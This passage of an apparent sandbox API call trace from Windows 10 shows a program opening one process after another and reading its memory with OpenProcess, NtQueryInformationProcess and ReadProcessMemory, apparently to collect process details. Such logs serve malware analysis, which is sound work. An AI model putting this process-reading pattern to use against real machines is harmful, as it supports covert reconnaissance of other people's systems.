lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0238.259] _vsnwprintf (in: _Buffer=0x67117d130, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x67117c6c8 | out: _Buffer="10.0.10586") returned 10 [0238.275] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x328) returned 0x460 [0238.275] GetLastError () returned 0x0 [0238.275] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x0, ProcessInformation=0x67117c720, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c720, ReturnLength=0x0) returned 0x0 [0238.275] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x68a768d018, lpBuffer=0x67117c6f0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6f0*, lpNumberOfBytesRead=0x0) returned 1 [0238.276] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x67117c6e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6e0*, lpNumberOfBytesRead=0x0) returned 1 [0238.276] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x20fc12119f0, lpBuffer=0x67117cb00, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117cb00*, lpNumberOfBytesRead=0x0) returned 1 [0238.276] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x20fc12116e8, lpBuffer=0x67117c450, nSize=0x38, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c450*, lpNumberOfBytesRead=0x0) returned 1 [0238.277] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x1, ProcessInformation=0x67117c750, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c750, ReturnLength=0x0) returned 0x0 [0238.278] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x0, ProcessInformation=0x67117c228, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c228, ReturnLength=0x0) returned 0x0 [0238.278] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x68a768d020, lpBuffer=0x67117c210, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c210*, lpNumberOfBytesRead=0x0) returned 1 [0238.278] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x20fc12110d0, lpBuffer=0x67117c260, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c260*, lpNumberOfBytesRead=0x0) returned 1 [0238.279] malloc (_Size=0x16) returned 0x196ef0d2020 [0238.279] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x20fc1211720, lpBuffer=0x196ef0d2020, nSize=0x14, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d2020*, lpNumberOfBytesRead=0x0) returned 1 [0238.279] free (_Block=0x196ef0d2020) [0238.281] CloseHandle (hObject=0x460) returned 1 [0238.281] _ui64tow_s (in: _Value=0x358, _Buffer=0x67117d620, _BufferCount=0x104, _Radix=10 | out: _Buffer="856") returned 0x0 [0238.383] _vsnwprintf (in: _Buffer=0x67117d340, _BufferCount=0x103, _Format="%lu", _ArgList=0x67117c6c8 | out: _Buffer="856") returned 3 [0238.384] GetVersionExW (in: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0238.384] _vsnwprintf (in: _Buffer=0x67117d130, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x67117c6c8 | out: _Buffer="10.0.10586") returned 10 [0238.400] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x358) returned 0x460 [0238.400] GetLastError () returned 0x0 [0238.400] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x0, ProcessInformation=0x67117c720, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c720, ReturnLength=0x0) returned 0x0 [0238.400] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0xe58887a018, lpBuffer=0x67117c6f0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6f0*, lpNumberOfBytesRead=0x0) returned 1 [0238.401] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x67117c6e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6e0*, lpNumberOfBytesRead=0x0) returned 1 [0238.401] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x28611e033e0, lpBuffer=0x67117cb00, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117cb00*, lpNumberOfBytesRead=0x0) returned 1 [0238.401] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x28611e03048, lpBuffer=0x67117c450, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c450*, lpNumberOfBytesRead=0x0) returned 1 [0238.402] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x1, ProcessInformation=0x67117c750, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c750, ReturnLength=0x0) returned 0x0 [0238.403] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x0, ProcessInformation=0x67117c228, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c228, ReturnLength=0x0) returned 0x0 [0238.403] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0xe58887a020, lpBuffer=0x67117c210, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c210*, lpNumberOfBytesRead=0x0) returned 1 [0238.403] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x28611e02a30, lpBuffer=0x67117c260, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c260*, lpNumberOfBytesRead=0x0) returned 1 [0238.404] malloc (_Size=0x58) returned 0x196ef100ce0 [0238.404] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x28611e03088, lpBuffer=0x196ef100ce0, nSize=0x56, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef100ce0*, lpNumberOfBytesRead=0x0) returned 1 [0238.404] free (_Block=0x196ef100ce0) [0238.405] CloseHandle (hObject=0x460) returned 1 [0238.406] _ui64tow_s (in: _Value=0x368, _Buffer=0x67117d620, _BufferCount=0x104, _Radix=10 | out: _Buffer="872") returned 0x0 [0238.411] _vsnwprintf (in: _Buffer=0x67117d340, _BufferCount=0x103, _Format="%lu", _ArgList=0x67117c6c8 | out: _Buffer="872") returned 3 [0238.412] GetVersionExW (in: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0238.412] _vsnwprintf (in: _Buffer=0x67117d130, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x67117c6c8 | out: _Buffer="10.0.10586") returned 10 [0238.526] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x368) returned 0x464 [0238.526] GetLastError () returned 0x0 [0238.527] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x67117c720, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c720, ReturnLength=0x0) returned 0x0 [0238.527] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xb23a8e3018, lpBuffer=0x67117c6f0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6f0*, lpNumberOfBytesRead=0x0) returned 1 [0238.527] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x67117c6e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6e0*, lpNumberOfBytesRead=0x0) returned 1 [0238.527] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x25329703480, lpBuffer=0x67117cb00, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117cb00*, lpNumberOfBytesRead=0x0) returned 1 [0238.528] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x253297030d8, lpBuffer=0x67117c450, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c450*, lpNumberOfBytesRead=0x0) returned 1 [0238.529] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x67117c750, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c750, ReturnLength=0x0) returned 0x0 [0238.531] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x67117c228, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c228, ReturnLength=0x0) returned 0x0 [0238.531] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xb23a8e3020, lpBuffer=0x67117c210, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c210*, lpNumberOfBytesRead=0x0) returned 1 [0238.531] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x25329702ac0, lpBuffer=0x67117c260, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c260*, lpNumberOfBytesRead=0x0) returned 1 [0238.531] malloc (_Size=0x74) returned 0x196ef0d2120 [0238.531] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x25329703118, lpBuffer=0x196ef0d2120, nSize=0x72, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d2120*, lpNumberOfBytesRead=0x0) returned 1 [0238.532] free (_Block=0x196ef0d2120) [0238.533] CloseHandle (hObject=0x464) returned 1 [0238.534] _ui64tow_s (in: _Value=0x38c, _Buffer=0x67117d620, _BufferCount=0x104, _Radix=10 | out: _Buffer="908") returned 0x0 [0238.539] _vsnwprintf (in: _Buffer=0x67117d340, _BufferCount=0x103, _Format="%lu", _ArgList=0x67117c6c8 | out: _Buffer="908") returned 3 [0238.540] GetVersionExW (in: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0238.540] _vsnwprintf (in: _Buffer=0x67117d130, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x67117c6c8 | out: _Buffer="10.0.10586") returned 10 [0238.561] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x38c) returned 0x464 [0238.562] GetLastError () returned 0x0 [0238.562] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x67117c720, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c720, ReturnLength=0x0) returned 0x0 [0238.563] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x849e247018, lpBuffer=0x67117c6f0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6f0*, lpNumberOfBytesRead=0x0) returned 1 [0238.563] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x67117c6e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6e0*, lpNumberOfBytesRead=0x0) returned 1 [0238.563] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1a5e3103490, lpBuffer=0x67117cb00, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117cb00*, lpNumberOfBytesRead=0x0) returned 1 [0238.563] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1a5e31030d8, lpBuffer=0x67117c450, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c450*, lpNumberOfBytesRead=0x0) returned 1 [0238.564] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x67117c750, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c750, ReturnLength=0x0) returned 0x0 [0238.566] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x67117c228, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c228, ReturnLength=0x0) returned 0x0 [0238.566] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x849e247020, lpBuffer=0x67117c210, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c210*, lpNumberOfBytesRead=0x0) returned 1 [0238.566] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1a5e3102ac0, lpBuffer=0x67117c260, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c260*, lpNumberOfBytesRead=0x0) returned 1 [0238.661] malloc (_Size=0x84) returned 0x196ef0d7590 [0238.661] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1a5e3103118, lpBuffer=0x196ef0d7590, nSize=0x82, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d7590*, lpNumberOfBytesRead=0x0) returned 1 [0238.662] free (_Block=0x196ef0d7590) [0238.663] CloseHandle (hObject=0x464) returned 1 [0238.664] _ui64tow_s (in: _Value=0x39c, _Buffer=0x67117d620, _BufferCount=0x104, _Radix=10 | out: _Buffer="924") returned 0x0 [0238.669] _vsnwprintf (in: _Buffer=0x67117d340, _BufferCount=0x103, _Format="%lu", _ArgList=0x67117c6c8 | out: _Buffer="924") returned 3 [0238.671] GetVersionExW (in: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0238.671] _vsnwprintf (in: _Buffer=0x67117d130, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x67117c6c8 | out: _Buffer="10.0.10586") returned 10 [0238.691] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x39c) returned 0x464 [0238.692] GetLastError () returned 0x0 [0238.692] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x67117c720, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c720, ReturnLength=0x0) returned 0x0 [0238.692] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xd3ae96018, lpBuffer=0x67117c6f0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6f0*, lpNumberOfBytesRead=0x0) returned 1 [0238.692] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x67117c6e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6e0*, lpNumberOfBytesRead=0x0) returned 1 [0238.693] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1e9d3f03490, lpBuffer=0x67117cb00, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117cb00*, lpNumberOfBytesRead=0x0) returned 1 [0238.693] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1e9d3f030d8, lpBuffer=0x67117c450, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c450*, lpNumberOfBytesRead=0x0) returned 1 [0238.694] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x67117c750, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c750, ReturnLength=0x0) returned 0x0 [0238.695] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x67117c228, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c228, ReturnLength=0x0) returned 0x0 [0238.695] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xd3ae96020, lpBuffer=0x67117c210, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c210*, lpNumberOfBytesRead=0x0) returned 1 [0238.695] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1e9d3f02ac0, lpBuffer=0x67117c260, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c260*, lpNumberOfBytesRead=0x0) returned 1 [0238.696] malloc (_Size=0x86) returned 0x196ef0d6e40 [0238.696] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1e9d3f03118, lpBuffer=0x196ef0d6e40, nSize=0x84, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d6e40*, lpNumberOfBytesRead=0x0) returned 1 [0238.697] free (_Block=0x196ef0d6e40) [0238.697] CloseHandle (hObject=0x464) returned 1 [0238.698] _ui64tow_s (in: _Value=0x3fc, _Buffer=0x67117d620, _BufferCount=0x104, _Radix=10 | out: _Buffer="1020") returned 0x0 [0238.703] _vsnwprintf (in: _Buffer=0x67117d340, _BufferCount=0x103, _Format="%lu", _ArgList=0x67117c6c8 | out: _Buffer="1020") returned 4 [0238.704] GetVersionExW (in: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0238.704] _vsnwprintf (in: _Buffer=0x67117d130, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x67117c6c8 | out: _Buffer="10.0.10586") returned 10 [0238.831] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3fc) returned 0x464 [0238.831] GetLastError () returned 0x0 [0238.831] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x67117c720, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c720, ReturnLength=0x0) returned 0x0 [0238.831] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x71b3034018, lpBuffer=0x67117c6f0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6f0*, lpNumberOfBytesRead=0x0) returned 1 [0238.831] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x67117c6e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6e0*, lpNumberOfBytesRead=0x0) returned 1 [0238.832] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x26426003470, lpBuffer=0x67117cb00, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117cb00*, lpNumberOfBytesRead=0x0) returned 1 [0238.832] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x264260030d8, lpBuffer=0x67117c450, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c450*, lpNumberOfBytesRead=0x0) returned 1 [0238.833] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x67117c750, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c750, ReturnLength=0x0) returned 0x0 [0238.834] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x67117c228, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c228, ReturnLength=0x0) returned 0x0 [0238.835] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x71b3034020, lpBuffer=0x67117c210, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c210*, lpNumberOfBytesRead=0x0) returned 1 [0238.835] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x26426002ac0, lpBuffer=0x67117c260, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c260*, lpNumberOfBytesRead=0x0) returned 1 [0238.835] malloc (_Size=0x62) returned 0x196ef0d0370 [0238.835] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x26426003118, lpBuffer=0x196ef0d0370, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0370*, lpNumberOfBytesRead=0x0) returned 1 [0238.836] free (_Block=0x196ef0d0370) [0238.837] CloseHandle (hObject=0x464) returned 1 [0238.837] _ui64tow_s (in: _Value=0x1b8, _Buffer=0x67117d620, _BufferCount=0x104, _Radix=10 | out: _Buffer="440") returned 0x0 [0238.842] _vsnwprintf (in: _Buffer=0x67117d340, _BufferCount=0x103, _Format="%lu", _ArgList=0x67117c6c8 | out: _Buffer="440") returned 3 [0238.844] GetVersionExW (in: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0238.844] _vsnwprintf (in: _Buffer=0x67117d130, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x67117c6c8 | out: _Buffer="10.0.10586") returned 10 [0238.863] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1b8) returned 0x464 [0239.157] GetLastError () returned 0x0 [0239.157] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x67117c720, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c720, ReturnLength=0x0) returned 0x0 [0239.157] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xb4bbe3c018, lpBuffer=0x67117c6f0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6f0*, lpNumberOfBytesRead=0x0) returned 1 [0239.157] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x67117c6e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6e0*, lpNumberOfBytesRead=0x0) returned 1 [0239.157] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1f146e03400, lpBuffer=0x67117cb00, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117cb00*, lpNumberOfBytesRead=0x0) returned 1 [0239.157] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1f146e03048, lpBuffer=0x67117c450, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c450*, lpNumberOfBytesRead=0x0) returned 1 [0239.159] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x67117c750, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c750, ReturnLength=0x0) returned 0x0 [0239.160] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x67117c228, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c228, ReturnLength=0x0) returned 0x0 [0239.160] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xb4bbe3c020, lpBuffer=0x67117c210, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c210*, lpNumberOfBytesRead=0x0) returned 1 [0239.160] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1f146e02a30, lpBuffer=0x67117c260, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c260*, lpNumberOfBytesRead=0x0) returned 1 [0239.161] malloc (_Size=0x82) returned 0x196ef0d7980 [0239.161] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1f146e03088, lpBuffer=0x196ef0d7980, nSize=0x80, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d7980*, lpNumberOfBytesRead=0x0) returned 1 [0239.161] free (_Block=0x196ef0d7980) [0239.162] CloseHandle (hObject=0x464) returned 1 [0239.174] _ui64tow_s (in: _Value=0x460, _Buffer=0x67117d620, _BufferCount=0x104, _Radix=10 | out: _Buffer="1120") returned 0x0 [0239.179] _vsnwprintf (in: _Buffer=0x67117d340, _BufferCount=0x103, _Format="%lu", _ArgList=0x67117c6c8 | out: _Buffer="1120") returned 4 [0239.180] GetVersionExW (in: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x196, dwMinorVersion=0xee798122, dwBuildNumber=0x196, dwPlatformId=0xee85bfd0, szCSDVersion="Ɩ") | out: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0239.180] _vsnwprintf (in: _Buffer=0x67117d130, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x67117c6c8 | out: _Buffer="10.0.10586") returned 10 [0239.280] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x460) returned 0x464 [0239.280] GetLastError () returned 0x0 [0239.280] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x67117c720, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c720, ReturnLength=0x0) returned 0x0 [0239.280] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x448f0b2018, lpBuffer=0x67117c6f0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6f0*, lpNumberOfBytesRead=0x0) returned 1 [0239.281] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x67117c6e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6e0*, lpNumberOfBytesRead=0x0) returned 1 [0239.281] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1e0ed903460, lpBuffer=0x67117cb00, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117cb00*, lpNumberOfBytesRead=0x0) returned 1 [0239.281] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1e0ed9030c8, lpBuffer=0x67117c450, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c450*, lpNumberOfBytesRead=0x0) returned 1 [0239.282] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x67117c750, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c750, ReturnLength=0x0) returned 0x0 [0239.283] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x67117c228, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c228, ReturnLength=0x0) returned 0x0 [0239.283] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x448f0b2020, lpBuffer=0x67117c210, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c210*, lpNumberOfBytesRead=0x0) returned 1 [0239.284] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1e0ed902ab0, lpBuffer=0x67117c260, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c260*, lpNumberOfBytesRead=0x0) returned 1 [0239.284] malloc (_Size=0x66) returned 0x196ef0d0370 [0239.284] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1e0ed903108, lpBuffer=0x196ef0d0370, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0370*, lpNumberOfBytesRead=0x0) returned 1 [0239.285] free (_Block=0x196ef0d0370) [0239.286] CloseHandle (hObject=0x464) returned 1 [0239.287] _ui64tow_s (in: _Value=0x4d8, _Buffer=0x67117d620, _BufferCount=0x104, _Radix=10 | out: _Buffer="1240") returned 0x0 [0239.292] _vsnwprintf (in: _Buffer=0x67117d340, _BufferCount=0x103, _Format="%lu", _ArgList=0x67117c6c8 | out: _Buffer="1240") returned 4 [0239.293] GetVersionExW (in: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: 